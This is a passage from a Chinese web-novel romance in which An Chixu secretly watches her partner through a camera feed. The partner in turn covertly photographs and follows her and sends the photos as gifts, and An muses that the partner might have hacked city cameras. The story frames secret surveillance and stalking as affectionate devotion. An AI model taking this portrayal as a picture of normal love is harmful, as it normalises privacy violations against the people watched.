安迟叙吃完解了酸,添了愁。 她看着晏辞微被光描出的轮廓,锃亮的下颚、鼻梁,和墨色的眼。 悄悄用手覆上去。 掌心微烫,温度挠得痒。 好像真的摸到晏辞微的睫毛,贴上她的脸。 “……好想你啊。”安迟叙抱着手机看了一晚上。 入夜也没关。就这么开着放在怀里。 好像她们还在一起。 她抱着晏辞微入睡。 * * * 有晏辞微的一天。 安迟叙也七点准时醒来,看了眼怀里的监控。 晏辞微刚起身,对着空荡荡的床发懵。 晏辞微先铺好床去洗漱。 安迟叙换好衣服紧随其后。 卫生间没有挂在墙上的监控了。晏辞微把监控戴在身上。 安迟叙看着镜子里的晏辞微护肤,也拿起周末新买的护肤品。 晏辞微出门要早一点。 安迟叙在家多吃一刻钟的饭。她不在,晏辞微就不会在吃饭时刻意放慢速度等。 她吃的好无聊,在晏辞微面前,自己煮的粥都是错的。 也不知道这十指不沾阳春水的大小姐为什么这么会做饭。 安迟叙戳了会儿自己没味道的早饭出了门。 手机挂在脖子上,就好像晏辞微随身带的监控。 安迟叙隐约记得那监控是绑在晏辞微项链上的。 现在她只能看见第一视角,她们一同上了车。 只不过安迟叙坐地铁,身边还有朋友。 安迟叙知道晏辞微到办公室会先做什么。可路上还是忍不住低头去看。 一眼都好。 她像那渴死的鱼,晏辞微遗留的监控是最后的水。 到了工位,安迟叙看了一眼工作就把它丢在一边。拿出手机看晏辞微。 晏辞微很忙。这会儿在开会,监控拍到她面向的人,怪难看的,安迟叙只好放下手机。 一个小时搞完了工作,安迟叙也要开会了。 她拿着电脑,电脑挡着手机,会议室里悄悄看。 晏辞微开完会,在和手下细谈。都是安迟叙不认识的人。 不过好歹她回了办公室,角度变了,安迟叙能看见晏辞微几根头发丝。 发丝也好啊。茉莉雪芽或者天竺葵。 安迟叙想趴在上面嗅,猫一样把她拱的乱糟糟。 晏辞微会说她顽皮,抱着她随便她咬。 开完会安迟叙被小组长留下批评。 安迟叙低着头左耳朵进右耳朵出。脚尖不再让人眩晕,安迟叙只想看一眼手机里的晏辞微。 午饭安迟叙跟几个饭搭子一起出门。 国庆前最后一天,大家整了个放纵餐。职称最高的饭搭子给大家点了奶茶。 安迟叙插下吸管时扫了一眼手机。 她今天第二次给手机充电了。 这会儿晏辞微刚吃完简易午饭。可能就花了五分钟。 饭盒放在一边。她拧着眉头在翻电脑上的表格调配额。 “网恋啊?”饭搭子啧一声看向安迟叙。 安迟叙吸了口珍珠才侧过头,还有点没反应过来一样呆呆的。 杜知棠使劲给她们使眼色。饭搭子不明所以,但也换了个话题。 网恋啊……安迟叙反应过来时,大家正在吐槽部门的副总监。 她没参与话题只是在想。 她真的在网恋吧。 下午晏辞微有跨国会议。她戴着耳机看着投影,眉目沉静。 安迟叙上午就做完工作了,这会儿在跟邻座一起摸鱼。 两个人面前摆了个大平板,主屏幕是学习资料,小屏幕是综艺。 安迟叙只是做做样子,眼睛还长在手机上。 五点一到她就飞出了办公室。今天跟她挤电梯的人多了,安迟叙在最里面看着卡顿的信号微恼。 时间不好。屏幕停留在晏辞微俯身的一帧,什么都看不清,只能看清晏辞微瘦了。 她的姐姐一直有点肉乎乎的,是丰盈的美,饱满像喝饱仙露的玉,还有锻炼的线条。 不敢想现在的晏辞微成什么模样了。 明明三餐都有在吃。 安迟叙回家先回了群聊消息,再去找食谱做饭。 她也得好好学。以后养好她的姐姐。 晏辞微还在跨国会议上跟人吵架,笑面虎一样把对面吓得大气不敢出。 该吃饭了,姐姐。 安迟叙看着时间到了七点,摸过屏幕。 她带着晏辞微去了餐桌,只能一个人先吃。 等晏辞微吃上晚饭,已经八点过了。 安迟叙洗着碗看晏辞微吃的东西。小鸡炖蘑菇配粉,煮了点白菜在里面。勉勉强强吧。 十点半安迟叙准时躺上床。晏辞微竟也洗漱完上床了。 她们在不同的空间做了一天同样的事。 安迟叙抱着手机,那里热乎乎的,好像真的在抱晏辞微。 “晚安,姐姐。” 十一七天,她们可以一起过了。 * * * 晏辞微这七天根本没有假。不去办公室也得在书房处理要务。 安迟叙七天宅家,偶尔出门跳舞,偶尔去免费陶艺班混一个罐子。 她们一直在一起——安迟叙一厢情愿里。 她一直开着监控,手机24小时无休,电池都老化了。 安迟叙也无所谓,偏要开着。 她只要能看着晏辞微就高兴。做什么都高兴。 午睡也高兴。出门也高兴。和朋友见面也高兴。路上偶遇景阿姨带着池开灵出门补课也高兴。 第六天早上,杜知棠邀请安迟叙下午去露营爬山。那边信号不好,还没充电桩。 安迟叙本来想拒绝的。 去了,她要怎么跟晏辞微在一起呢? 她看着屏幕里的晏辞微。 晏辞微捏着电话坐在书房里,六天只休了不到一天。 她太忙了。平日安迟叙从来没有觉得她这么忙过,也许以前晏辞微只是把所有时间都挪给了自己。 安迟叙已经知道了晏辞微一天会做什么。 细致入微的看了她很久。 似乎比在一起的时候还了解她。 好像…… 也不需要再一直一直,盯着屏幕不放。 晏辞微会在的。 所以她离开一天半,也没有关系吧? 安迟叙翻开相册,那里都是监控的截图。 如果她想晏辞微,可以打开相册看看。 安迟叙收好东西。 “我要和朋友出去露营。后天见,姐姐。”好像晏辞微在她对面,好像晏辞微听得见。 安迟叙开口同她道别。 这一次她很快就会回来。她定了期限,只要晏辞微等她。 不过是安迟叙单方面的幻想。毕竟这只是监控,谁听得见监控这一头的话,晏辞微更看不见她的模样。 “会想你。”安迟叙准备退出开了百多个小时的软件。 “……会很想很想你。” 她手都滑到底了。 屏幕上的晏辞微,忽然抬起头。 看向安迟叙。 安迟叙手一松,心跳咚一声炸开。 她们视线对在一起,时间都为之暂停。 而晏辞微,好像真的能看见安迟叙一样。 柔和的弯出一个笑。 桃花眼的笑,含情脉脉。 好像在说: 我也会想你。 下一秒监控熄灭了。屏幕发黑。 安迟叙再怎么重进、开关机,都看不见监控。 晏辞微发现了她,并且。 把监控关了—— 作者有话说:你们看看这个晏辞微,套路好深! 隔壁片场容妤疏:你买不起超高清可旋转摄像头,却能给家里和办公室每个角落都装一个? 晏辞微:对啊(理直气壮) 后知后觉的安迟叙:等等, 容妤疏惊呼:这还是双向的! 容妤疏(倒吸一口气):低画质不可旋转的双向摄像头,定做版。啧啧啧 晏辞微:快别说了。 安迟叙(磨刀霍霍中) 我不会写不到四十万字吧(尖叫) 也许剧透一下? 安迟叙这边的主题是断舍离,和安予笙肯定会断联,跟遇少微不会保持很密切的关系(逢年过节问个好这样子)。几个妹妹还没想好。 晏辞微那边的主题是和解,会试着和晏明琼交流,和裴绮玲的关系会变得更好 第68章 第 68 章 这是没有晏辞微的一天 安迟叙收好东西出门, 走路上手还在下意识刷新。 十次,五十次,两百次。 安迟叙拇指都快刷出腱鞘炎了, 屏幕依旧漆黑一片。 她提着包眉眼沉沉, 情绪不高。 就这样和杜知棠,还有社群那几个好朋友一起上了大巴车。 安迟叙和杜知棠坐一排。两个人一起把行李放进储物间,坐上座位,安迟叙还在刷。 有点刻板行为。安迟叙也不知道自己在执着什么。 这么久晏辞微都没有管过这个监控,今天突然关掉, 恐怕不会再打开了。 毕竟, 晏辞微可能不知道她在看。 她可能只是觉得浪费电, 可能只是突然想起, 不想泄露隐私。 那个笑, 也许也只是因为想到了远在c市的爱人。 安迟叙最清楚晏辞微,却还在强迫自己刷新。 好像只要她努力,晏辞微就会再出现在屏幕上一样。 手好累。心好累。眼皮耷拉也好累。 车进了高速,信号弱到时有时无。安迟叙再想刷也不能了, 下滑屏幕就会卡, 几分钟都转不出来。 安迟叙不得已熄屏。 这还是她开始偷窥晏辞微起,第一次让她的手机休息。 屏幕关了。安迟叙还捏着手机。发烫的温度勉强给她些安慰, 让她不至于凉成一飘鬼。 杜知棠见她终于停了, 迫不及待要凑过来八卦。 三个多小时的路途多无聊。车上还没信号,玩手机还晕。聊聊天最好。 “在看什么?看你一直在刷新。信号差?”杜知棠瞅了一眼安迟叙的眉心。还鼓着呢,看来心情还没恢复。 “嗯……”安迟叙想了想, 干脆说了气话。“遗照吧?” 反正在杜知棠她们眼里,晏辞微也不在了。 呵。关她监控吊她胃口,来找她照顾她又不现身。 安迟叙狠狠的在心里捶了晏辞微的脸一下, 把她画像涂成黑白的。 晏辞微就跟她的沙包一样。被打了还能贱兮兮的笑。 黑白色的面庞点着红色的痣。那是晏辞微怎么也去不掉的锚点,根深的好像从出生起就长在安迟叙心脏里。 安迟叙对上她的笑,又不忍心再继续打。 哪怕从头到尾,她打的都是脑海里的幻想。 晏辞微不可能知道,也不会真的被她打伤。 安迟叙也舍不得。 “啊……”这回答让杜知棠有点不知所措。 “那,那个……”难怪安迟叙看起来这么低沉。肯定是思念她亡妻了。 “她肯定也希望你好好生活,能开心。”杜知棠拽了下安迟叙的衣袖。眼睛眨巴,希望能给安迟叙以安慰。 安迟叙愣了一瞬。眼底流过这一个多月的事。 晏辞微不在,她当然也能过活。 这是她一直追求的事,她只是…… 想她。 团团想姐姐了。 很想很想。想到甘愿顶着羞愧去做偷摸的事,想到每一天的回忆录里都是晏辞微。 而晏辞微不是真的不在了。 她们只是说了再见,那总有一天就会再见。 她好好生活,是最重要啊。 安迟叙余光瞥见车窗。 车窗外影层层叠叠的滑过。光影把倒印的自己也变了模样,扭得一会儿亮,一会儿暗。 安迟叙却清楚的看见自己的眼。 自己按照晏辞微的方式扎的正好的盘发。 自己学晏辞微擦好的脸。 自己被晏辞微教会的穿搭。 她像就这样生活一个多月了。 不美好。生活从来都不只有美好。 可是所有的一切都会过去。 她处理了安予笙、安绾瑶的事。 找了房子、工作。 见了遇少微和她的一家。 有了朋友、社群,发展了新的兴趣爱好,还能自己出门露营。 安迟叙收了余光。 她想她真的可以做到,一个人好好生活。不需要被谁圈养,甚至不需要寻求帮助。 她有能力了。 “你说得对。”安迟叙忽然弯了眉眼,斑驳的光充盈她深灰的眼。 点亮模糊的视线。 “我只是想带她一起看看。” 心上轻了一阵。 棉絮似的飘摇。迎着风就能起飞。 安迟叙许久没有这么轻快过。 在没有晏辞微的一天里。 * * * 这是没有晏辞微的一天。 支好帐篷,安迟叙拿出手机拍了一张照。 她说要带晏辞微来看看。 等她们再见,她可以拿出照片给晏辞微讲,这一天半她怎么过的。遇到了谁,有什么困难。 就像小学春游写作文一样。 这次没有谁逼谁,检查作业的老师,是她最爱的姐姐。 搭帐篷不容易。搭完安迟叙看一眼时间,她似乎是最快的那一批,心底轻盈的堆满饱胀感,她在动手方面似乎还挺厉害的。 “给你拍一张?”杜知棠的帐篷搭在旁边。 她之后紧挨着的两个是那对情侣搭的,不知道她们俩为什么要分开睡。 再往后还有一同前来露营的个体户在对着帐篷的遗体瞎努力。 “我不太喜欢拍照。”安迟叙想拒绝的。 她不喜欢镜头,更不喜欢聚光灯。 小时候儿童节演出她就很怕,是五十多个小朋友里唯一一个没有上台的。 原因无它,每次彩排她都一个人瑟缩在角落,根本站不到舞台上。 光一照过来安迟叙就跑了,速度比她一米八的老师还快。 老师捉不到她,只能默许她不上台。 开完晚会她还被安予笙批了一顿,遇少微在旁边走神,嗯嗯附和。 后来初中好了一点点,但看见镜头还是紧张的手脚不知道怎么放,音乐节和班上表演合唱,对着摄像机在台上差点哭了出来。 以往只有晏辞微可以给她拍照。 安迟叙不怕晏辞微的视线,红红的眼比摄像头更冷,却也更温柔。 晏辞微拍,晏辞微看。 那丑一点也没关系,她眨眼了也没关系。 晏辞微总会宽容她的,她们那么相爱,只有晏辞微会包容她。 “不是说要带你,亡妻,来看看吗?给她留一张照片吧。你今天很漂亮的。” 杜知棠借的是团队里摄影爱好者的拍立得。 那摄影爱好者这会儿还在和帐篷斗智斗勇,杜知棠问,她就给了。 “……那好。你拍好点啊。”安迟叙站在摄像头前,还是紧张。 手脚僵硬着,想起以前安予笙和遇少微牵着她去游乐园拍合影,给她比的耶,两只手也举起来。 她还没挑好角度比耶呢。快门就按下了。 “没事儿,反正也是给你爱人看。”杜知棠根本不会拍照。 她把安迟叙都能拍很矮,接近一米八的个头被她拍成了一米六。 拍立得的照片洗出来,浅浅度了一层灰。里面的安迟叙小小一只,紧张兮兮的举着手咬着嘴,一个耶将出未出。 好呆啊。 安迟叙看着成片就想笑,羞臊成怒,追着杜知棠打闹去了。 闹完安迟叙回来把拍立得拍到手机里,小心翼翼收好原片。 一个呆呆的她,挤在相册角落,被无数晏辞微包围。 安迟叙眉眼柔如溪,拍了拍照片里的自己。 这个自己有好多个姐姐,好幸福。 然后关上手机,去准备晚上的烧烤。 手机贴着她衣兜晃来晃去,像晏辞微在旁边牵着她的手。 安迟叙迎着旷野的风张开双臂。 风形成一个拥抱,扑她满怀。 好像有天竺葵的淡甜,好像有茉莉的清香。 她猜晏辞微也许一直在看。 她猜晏辞微就在她身边。 现在的她,也有些幸福了。 * * * 烧烤也能遇到熟人呢。 这一片露营地只有一个地方可以烤烧烤。 几个团碰在一起,安迟叙看见了景阿姨带着池开灵。 “还挺巧。”景桐拍了拍池开灵的手。 池开灵不情不愿的喊了一声“安姐姐”,声音怪小的,脸侧到一边,眉眼带着烦闷。 “不补习了?”安迟叙想逗一下池开灵。 池开灵立即垮了脸,无声的哀嚎起来。 “哪儿有让孩子一直学习的。她想,我也不允许啊。”景桐捏了女儿一下。 “也没有一天到晚带学霸女儿出来硬玩的妈啊。”池开灵念念叨叨,超小声吐槽着。 环境吵,两个人却把这句话听了个清楚。 “现在有了。”景桐一本正经的逗女儿。 池开灵表情夸张,要吐要哭的,白眼往上翻。 “不问问你安姐姐什么学校?”景桐深知池开灵的脾气,也听遇少微说过安迟叙大学应该是在s市念的。 s市大学都挺好的。池开灵一心想往那边考呢。 安迟叙报了个名字。 就见这初中小朋友变脸,两眼放光了。 “你好安姐姐。我也想考,可以告诉我你高中在哪儿念的吗?有没有什么方法?高中和初中差距大不大,难度是不是真的会分层?” 池开灵伸出了一直揣在兜里的手。 安迟叙都想笑了。原来这小朋友有学历崇拜。 看池开灵很正经。安迟叙也不得不一本正经的跟她握手。 一边烤串,一边给她讲初高中的区别。 期间杜知棠也凑过来听,一听两个人居然在聊立体几何和导数,两眼一黑。 趁机把安迟叙烤好的五花抢走了。 被安迟叙夺回来时,杜知棠还哭丧。 “你们两个变态。不愧是姐妹!大变态带小变态!”杜知棠要控诉安迟叙这种出来玩还聊学术的态度。 “那还真不是。”安迟叙思考了一下,给杜知棠介绍。 “这是我……母亲她前任的现任,这是这位现任前任的小孩。”好像越说越糊涂了。 杜知棠扫了两个人几眼,忽然对着景桐大悟。“你是她小妈,离婚了她妈把她交给你抚养。” “废话。”池开灵看了一眼杜知棠,没看出来她身上有什么学历光环,挺不耐烦的说了一句。 她头顶挨一下,被景桐带去一旁教育了。 “我以为你不喜欢她们。”两个人走开后,杜知棠才小声开口。 “很明显吗?”安迟叙摸了下脸。她应该没有什么表情。 “猜的。不过今天看来,也还好?” 杜知棠是那天和安迟叙出门逛街,看安迟叙偶遇她们时感受到的。 “也许,不喜欢也不讨厌,才是最好的。” 无论是对池开灵遇景,还是对安绾瑶。 上一辈的纠纷,为什么要影响小朋友。 安迟叙想她上个月对安绾瑶,其实不该那么差的。 安绾瑶虽然有些陋习,但也热情可爱。 她只是因为安予笙,迁怒了。 隔会儿安迟叙和几个朋友一起开吃了。 才看见遇少微从舞池那边出来,手里还牵了个遇景。 “亲亲跟我说你和你朋友在,我还不信。以为你不会来这种地方呢。” 遇少微是看不好孩子的,她抱孩子最多两分钟。 两分钟一到遇景就自由了,下地飞一样奔向安迟叙。 “我是不去。”安迟叙看了一眼那边挺乱的舞池,没想过来露营还能看见酒吧一样的地方。 “只是和朋友露营。” 安迟叙没准备好,被白团子扑了个正中。 “哎。”五岁小朋友力气这么大,能把她撞飞了。 “漂亮姐姐!”遇景看了一眼安迟叙,想去捏她脸。 安迟叙逮住她的手,把她扒拉下去。 杜知棠听见这一声“漂亮姐姐”心花怒放,非要凑过去让小朋友喊。 遇景很认真的盯着她看了一会儿。 “你很可爱。”给出了一个让人发笑的评价。 “怎么你就是漂亮姐姐,到我就是可爱?”杜知棠不服气,把遇景举到几个朋友面前。 遇景看见单身的那个,眼睛又一亮,一视同仁的扑过去。 遇少微是真一点不管孩子,遇景摔了也不看一眼。 好在小朋友自己强壮,一心想着漂亮姐姐,拍拍泥巴就起来了,去贴人家小姐姐。 这下杜知棠真道心破碎了。 “难怪你这么漂亮。”隔会儿她看清遇少微的脸,又活了过来。 “你妈咪是个大美人啊。” “也就遗传了一半吧。”安迟叙看了眼粘着景桐闹的遇少微,啧啧称奇。 她大概明白,为什么池开灵和遇景都这么好玩了。 景桐很好。 她包容如水,遇到什么事都柔柔的,讲话清晰有条理,不会生气一样,却又藏着力量。 只有她这样的人,才能镇的住遇少微。 也能在遇少微不负责的时候,多扛起一份责任,带好两个小朋友。 难怪景桐她前妻也要把孩子丢给她带呢。 说不定,还是离婚是池开灵自己选的。 安迟叙看着她们一家四口,是有点酸。 但…… 吃过饭,安迟叙被遇景抓着去山丘上看星空。 杜知棠和几个好友紧随其后。遇少微拉着景桐,景桐挽着她想回帐篷刷题的书呆子女儿。 几个团的人都在抢山丘最上方的好位置。遇景冲的快,安迟叙在她的关照下得了一块空地。 大家一起坐下,有的拿出望远镜,有的拍照,有的单纯看着,等风吹散秋热,吹散云层。 安迟叙也拿出手机,原本在对着天空拍照。 听见身后嬉闹声,干脆转为对着自己。 还把身后一群人都框了进去。 杜知棠在她身后压着遇景做鬼脸,遇景使劲往单身的小姐姐身上爬。小情侣贴在一起比心。遇少微霸占了景桐,景桐一只手指勾着翻白眼的池开灵。 也许自己还会再悄悄酸一下。 但是,她们有她们的新家。她也有她的。 没有什么好介怀的了。 安迟叙按下快门。 等晏辞微回来,这些都要给她看。 * * * 安迟叙回家时整理着照片,刷了一次监控没刷出来,心却没有离开时那么疼痛了。 快一些吧。 安迟叙度过了圆满的十一长假。 还是很想晏辞微。 她和几个朋友约好下次再聚,回家时,远远看见门口有个包裹。 包装精致,配色是安迟叙喜欢的蓝白粉,丝带一圈一圈的不要钱。 安迟叙顿了下。 而后加快脚步。 近乎飞到家门口,蹲下,拆开盒子。 里面躺着一瓶天竺葵味道的香水。 安迟叙掀开垫的拉菲草。 看见了…… 几十张,自己的照片—— 作者有话说:每个人的课题都要自己的去解决,依赖别人很容易闹得两败俱伤 晏辞微对安迟叙的掌控,和安迟叙不坚定的惰性依赖,其实是两个人不同的课题 解决方式也不一定非要强硬,也没有标准答案。像穿衣服总是被戒指勾到,换掉戒指或者换一款衣服,都可以 我们团团的课题快要结束啦,再过几章,就要恭喜她成为靠谱的成年人了 另,这本番外感觉会很长,不会最后写35万正文,10万番外吧[害怕] 第69章 第 69 章 像摄像头 几十张照片。全是这一个多月里, 安迟叙生活的点点滴滴。 有安迟叙拖着行李箱去酒店的。 有安迟叙在小区偶遇安予笙的。 有安迟叙牵着安绾瑶去上下学的。 有安迟叙去公司面试,和杜知棠一起在等候室发呆的。 甚至,安迟叙还看见了这个十一她去陶艺室的。 她第一次接触陶艺, 软趴趴的泥糊了一身。这几天忘了修剪指甲, 清洗的时候简直是灾难。 好在最后烧出来的罐子也算有模有样——至少成型了,颜色倒也是个颜色。 和安迟叙预想的完全不一样。她涂的时候颜色多清透,烧出来成土黄配大红,像老奶奶家放了几十年的泡菜坛子。 晏辞微拍的照片是她举着罐子对着摄影师哭笑不得。 角度很刁钻,像…… 摄像头。 晏辞微该不会入侵了c市的摄像头系统, 才能拍到这么多她吧? 安迟叙坐在家门, 此刻也不知该哭还是该笑。 她轻轻抽着身体, 是笑的前奏, 嘴角上扬, 好像窥见照片背后的爱。 摸向脸,满是水痕。热泪怪烫的,叫她擦了一下又不敢碰第二下,只能放下盒子用衣袖抹。 眼泪一边抹一边往外倒, 越积越多, 最后把整个衣袖都打湿了。 泪还是停不下来。 安迟叙干脆不擦了。 她仔细翻看每一张照片,任泪水打湿相片。 反正不是她的, 晏辞微的东西她爱怎么破坏怎么破坏。 她的姐姐就这么狠。这样了还不来找她。 扔下一堆照片是想做什么?看她夜不能寐, 吃不下饭? 想她给姐姐打电话,发消息? 想她回s市,主动求和去找姐姐哭? 怎么想也想不通。认识快十一年了这个人还这么神秘。 安迟叙把一沓照片按时间顺序收好, 没有找到更多晏辞微的痕迹,讪讪收好礼物盒。 她拿出手机再点开那个监控软件。 软件黑黑的,连不上摄像头给不了任何画面。安迟叙却仿佛透过漆黑的屏看见红色的眼。 她一瞬不瞬的和它对视。 猩红越来越亮, 越来越艳。 最后坠入安迟叙的脑海,化作晏辞微眼底的红痣。 安迟叙在脑海里和晏辞微对视,看见晏辞微十年如一日的笑。 安迟叙关掉手机,抱着礼物盒再次离开家门。 如果晏辞微一直在。 现在出去,是不是能找到她的身影? 安迟叙头一回主动迈出一步,只为了找那一个人。 那个从来都会朝她走来,给她一个拥抱的姐姐。 那个心机颇深,怪狠心逗她一个多月的坏姐姐。 安迟叙迈出单元楼,迈出小区。 恍惚间听见一声脚步。 哒。 轻到如风。好像是路过的鸟踏出来的响。 却熟悉到给安迟叙灌下一整口蜜糖,闷闷的,甜她一颗心脏。 安迟叙走出一步。那脚步声也跟着迈出。 安迟叙轻点着地跳跃,那脚步声稍快又落下。 安迟叙起先走的很慢。她怕晏辞微太久没做这种事会跟不上。 最后疯一样飞出去,一个多月坚持跑步颇有成效,她跑了几百米还不觉得累,只把一切都抛向身后。 留下轻快的步点。 滴滴答答。 像摇篮里的安眠曲。 只要听见,就好像回到了母亲的怀里。 就有了安全感。 好温暖啊。 安迟叙向着最后一点夕阳奔跑去,到最后连视野都不清晰,什么也看不见。 她还能听见脚步声,忽而笑出声。 轻轻的笑。扯着胸腔的笑。大声到能吓得旁边人回头的笑。 安迟叙倒下去,躺在不知名的街道上,怀里抱着被汗泪浸湿的礼物盒。 头上是清亮的夜空。今日月明星稀无风无云,明日也会是个好天气。 安迟叙身体起伏着,视角多熟悉,她曾两次倒在地上哭泣,一次被捡回家,一次只剩孤身一人。 可是,这次她没有眼泪了。 原来一个人,真的没有关系。 她知道晏辞微在。 她知道她们总会重逢。 如此她一个人也可以过好日子,在晏辞微不在的时候做好所有事。 就好像晏辞微只是出差了。她们可以在一天结束后通视频电话,也可以在思念彼此时给对方寄礼物。 她们可以写下思念的话,把它装在纸折的红蝴蝶里等着对方来拆。 也可以把情绪藏起来,偷偷的,叫对方猜到头疼心急。 安迟叙笑出了声音,笑出了眼泪。 她抱着礼物傻嘿嘿的,突然犯了病一样。 路过的人看她一眼就走的远远的,她感觉到,却不甚在意。 笑到肚子疼了,安迟叙勉勉强强停下来,还不想起。 今夜月色多好啊。清晰的月盘白白净净的,咬一口一定很香。 安迟叙偷偷的想。 如果晏辞微这会儿也在偷拍她的话。 照片一定会很丑吧。 那就丑吧。晏辞微自己要吓她,自己要拍她。 她不会再因此逃窜到角落,缩成一个毛绒团瑟瑟发抖了。 回家之前,安迟叙忽而转身,看向背后的黑暗。 城市的灯光明明灭灭,没有哪一处是真正的一片漆黑,可以给一个人藏匿,而不暴露猩红的眼。 可安迟叙对着阴影看了好一会儿。 张开笑脸。 她不做声,只有口型被风读取。 ——我想你了。 然后转身走向自己的生活。 天竺葵的甜味在风中久久回荡。 * * * 安迟叙用上了天竺葵香水。 和她买给晏辞微的是同款。 味道该一模一样,安迟叙抱着自己却找不到晏辞微的感觉。 她就画了一个晏辞微的大头照,把它刻成章子,挂在手机壳上。 章子刻了她三天。最开始掌握不好力度,老刻花。 上班的时候也在刻。她和邻座说好了,让她帮忙看着点领导。 下班回家也在刻。刻一会儿就去打游戏了。 杜知棠最近入坑了那个远近闻名的pvp游戏,偏偏人菜瘾大,晚上天天在群里喊她们上号,然后输得在聊天框气急败坏。 打会儿游戏,还是要回来刻的。安迟叙没那么着急,好像刻章子也是想念的一部分。 刻歪了刻不好,都是晏辞微应得的。 她悄悄给晏辞微戳了几点麻子,把自己的雀斑加在晏辞微身上。 结果晏辞微还是那么漂亮。只是左看右看不对劲,这章子不像晏辞微了,像她们的女儿。 安迟叙笑一声把雀斑擦掉,换上自己的吻痕。 屏保也换回晏辞微的照片了。 安迟叙技术还是不错。不太熟的人瞥见她的屏保和印章也知道是同一个人。 只是问起,安迟叙总说,爱人不在了。 …… 安迟叙又收到一包照片。 七号第一次收到,十五号是第三次了。 她拆开包装在期待礼物。 上上次晏辞微送了她一条小围巾。不厚,装饰用,刚好适合c城的秋天。 上次晏辞微送了她两盒巧克力。安迟叙拆开一看,只有一盒是完整的。另一盒就剩了一半。 晏辞微还给她特地留了一小口。被咬过的痕迹怪明显的。安迟叙没吃那一口,把它风干了装袋挂包上。 每次都有照片。可能晏辞微要三四天才能集齐新的一盒。 时间不定,安迟叙每天下班冲出办公室就在期待会不会有礼物。今天可算盼到了。 安迟叙就坐在家门口拆。这次晏辞微送的是一把折叠椅,刚刚好方便安迟叙坐下。 只有这些吗?安迟叙往下翻,果然翻到了几个红色的小夹子。还有一张发型说明书。 安迟叙照着说明书给自己扎,扎的四不像干脆放弃了。 她一个人做不到嘛。姐姐就不能来帮她? 安迟叙顶着摇摇欲坠的小夹子晃晃头,拿起笔开始在每一张照片后面涂涂画画。 这张是她和朋友出门散步的。 【给姐姐买了小糕点。但是姐姐不在,我就一个人吃了~】 这张是她在会议室开小差。晏辞微还把她在本子上画的小猫拍了下来。 安迟叙在这张背后临摹了那只小猫。 还给小猫点上雀斑。 【团团猫。】这是她自己哦。晏辞微要记好了。 这张是她去舞蹈班拉伸。 安迟叙偷笑一声,捂住写下的话耳朵红了。 【要不要试试?】 这张是早上晨跑路过小吃摊,安迟叙买了一份炒面当早饭。 安迟叙正要写。 隔壁邻居开了门。 安迟叙先听见了脚步声再抬头。 只见过一两次的女人路过,跟她打招呼。 “洗这么多照片?要做相册吗?”邻居关心了一句。 这是她最近第二次看见安迟叙坐在门口看照片。 “也不是。”安迟叙在心里笑出声。 “烧给我爱人。” 邻居恍然大悟,顿觉打扰,跟安迟叙讪笑一声走了。 看着她背影,安迟叙捧着脸想笑。 某人再不来。 她真要把思念都烧给她,坐实人设了。 * * * 十月底了。 景桐不知道从哪儿打听来安迟叙的生日,说要给她过生。 真是景桐打听的。安迟叙可不信遇少微有那个心。 同时也感叹,难怪景桐和前妻离婚了,前妻她女儿不选亲妈,选景桐。 景桐说安迟叙生日是周中,她们一家没空,便提前到周日。 安迟叙收拾了一番,换上晏辞微给的围巾和发卡,新收到的一套小花裙,绑了铃铛的皮靴。 挺欢快的赴宴了。 赴宴路上还能听见哒哒的脚步。 安迟叙轻晃步伐,安心感满满当当。 好像那不是跟踪也不是偷窥。只是担心她的妈咪悄悄护送她。 景桐一大家子都在。 池开灵听说是给安迟叙这个学霸姐姐过生,少刷题一天的怨气都散了,带了一本笔记本,势必要打听到安迟叙的学习方法。 遇景还没到上小学的年纪,哪一天不是玩?今天多一个漂亮姐姐,她也高兴,一直拉着池开灵咿咿呀呀,还打算去戴小皇冠,好像自己要过生。 遇少微是被抓来的。她都不知道她女儿生日什么时候,怪尴尬,在景桐的注视下买了条金链子当礼物。 谁都看见安迟叙手上的戒指了。结婚是件大事,再是十年没见,见到了就得补上。 景桐自己准备了一个玉坠子,不亲不疏,刚刚好。 安迟叙到的时候被遇景扑了个准。她都有点习惯这小团子到处扑人了,稳稳接住她。 池开灵也游过来,一双眼睛闪亮亮的。 安迟叙一看她手里的笔记本就不想理。安迟叙本人不爱学习,当年完全是为了跟晏辞微考一个学校才拼了命。 “今年满25了,对吧?”景桐看见安迟叙来,把礼物盒推到她面前。 “对,谢谢景阿姨。”要不是两个小朋友都在,安迟叙都想对景桐喊妈咪了。 都怪她亲妈咪不来接她。 安迟叙笑的甜,心里想的远。拿着礼物和这一家合影。 “是大姑娘了。真好,这俩还有很久才能长大呢。”遇少微感叹一句。 她喜欢小孩,不喜欢带小孩。要不是景桐说她喜欢带,遇景根本就不会出生。 “很快的。”安迟叙看了眼池开灵悄悄算题的模样,想。 高中三年很快的。喜欢学习的话一晃一年就过去了,再把导数学完,高二也没了。 高三备考节奏快压力大,无意识一周就没了,再眨眼一个月都在模考里过去。 又看了一眼还在玩口水的遇景,没说话了。 对小遇景来说,成长是还有很久。她还有二十年才能到安迟叙现在的年纪。还有许许多多的事没有遇到呢。 “以后也留c市?”景桐真像她们大家庭的妈咪。 了解遇少微的性子,不强求她和安迟叙搭话,自己控着场子。 还允许遇少微偷吃给安迟叙点的奶油蛋糕呢。 但只能吃一小口。待会儿可以负责切,掩盖掉偷吃的证据。 “不一定。”安迟叙抱着给她买的奶茶吸。 她会跟着晏辞微一起走的。 这一次,就算去四九城也没关系。 只要晏辞微问她一声就好。 “这样。是回s市?那边发展不错吧。”景桐也没问安迟叙为什么回乡。 她太清楚哪些问题尴尬,温和到像春天本身。 没有谁不喜欢春天,哪怕不喜欢这个概念,也会在晒到春日第一缕高阳,闻见桃花樱花梨花第一抹花香,看见树叶迸发第一枚翠绿时,爱上她。 安迟叙很喜欢和景桐说话。 好像面对这么一个人,什么糟心事都能吐出来。她会慢慢摸着你的头,帮你梳理情绪和做法。 “是还可以。薪水比这边高很多,工作机会也多。”安迟叙不好意思说c市的就业环境差的不像一线城市。 尽管她不是回来工作的,求职也能有感觉。 再说两句,景桐就把话题交给两个跃跃欲试的小朋友了。 池开灵问了几次终于问到安迟叙的高中。她还以为安迟叙上的是名头最响的那一个,她也想去。结果安迟叙念的是第三的。 “我去的火箭班。中考成绩没有特别好,上不了你说的那个的火箭班。而且那边重竞赛,我当时没打算考。”安迟叙终究败给了小学霸,不得不给她讲自己的高中。 小学霸还想霸占妹妹的问题时间。 被景桐喊了过去。 遇景坐在池开灵身上呢,终于轮到她也不知道问什么,就嘿嘿对着安迟叙傻笑。 安迟叙觉得她还挺像自己。可能她们都有一个温柔的好妈咪。 遇景还是憋出来一个问题。“漂亮姐姐,我们以后可以在一起吗?” 